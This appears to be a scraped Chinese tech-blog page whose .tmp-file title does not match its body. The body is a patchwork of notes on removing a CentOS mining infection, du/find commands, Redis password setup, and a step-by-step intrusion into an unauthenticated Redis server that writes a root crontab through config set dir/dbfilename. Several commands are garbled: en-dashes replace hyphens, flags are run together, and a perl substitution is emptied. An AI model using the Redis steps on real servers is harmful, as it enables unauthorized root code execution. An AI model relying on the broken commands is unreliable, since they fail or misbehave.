tmp文件怎么打开(cad tmp文件怎么打开)
centos登录后提示:Baga parola negrule
各种百度查询问题
说是中毒了(挖矿程序)
查询.bashrc显示这样(图2)
解决方案:
1、修改.bashrc为以下参数(正常的)
# .bashrc
#User specific aliases and functions
alias cp='cp -i'
alias rm='rm -i'
alias mv='mv -i'
#Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
2、删除crontab -l 任务
Crontab -e 编辑模式直接删除所有任务
3、删除/var/tmp所有文件
/var/tmp 下应该还存在挖矿程序
4、重启
Linux下的命令du---每日一条(2)
解释:
du 会显示指定的目录或文件所占用的磁盘空间
语法:
du [-abcDhHklmsSx][-L <符号连接>][-X <文件>][--block-size][--exclude=<目录或文件>][--max-depth=<目录层数>][--help][--version][目录或文件]
常用:
显示大小(一般常用这个)
du -sh *
查找目录下所有以. zip 结尾的文件移动到指定目录下
find . -name "*.zip" -exec mv {} ./backup/
复杂点的-找当前目录 10 天以前大于 100M 的log文件并删除
find . -name "*.log" –mtime +10 –typef –size +100M | xargs rm –rf {}
将某目录下大于 800k 的文件移动至/ tmp下
find . -size +800k -exec mv {} /data;
### linux CR 转 LF 格式
```bash
perl -pi -e 's/ / /g' task_tmp.txt
```
#redis 安全#[微笑]
加密码方法1: 配置/usr/local/redis/conf/redis.conf
requirepass 'hello123' #需要重启redis
加密redis的操作方法
redis-cli 登录进去以后auth 'hello123'
redis-cli -a 'hello123' info 非交互式的操作
加密码方法2(无需重启redis):
auth 'hello0123' #加完密码后,需要使用auth去认证才能操作redis服务器
config get requirepass #获取指定配置
config set requirepass '' #无需重启redis服务器将密码置为空,平滑更新配置
config rewrite #平常更新配置完后需要写入到配置文件,预防重启后配置失效
config set requirepass 'hello123' #重新设置密码
入侵无密码redis服务器(rdb存储)
redis-cli -h xxx.xxx.xxx.xxx config set dir /etc/
redis-cli -h xxx.xxx.xxx.xxx config set dbfilename "crontab"
/tmp/attack的内容(需要四个回车)
* * * * * root echo 'attack'
cat /tmp/attack | redis-cli -h xxx.xxx.xxx.xxx -x set attack #-x会从标准输出中读取
redis-cli -h 127.0.0.1 save





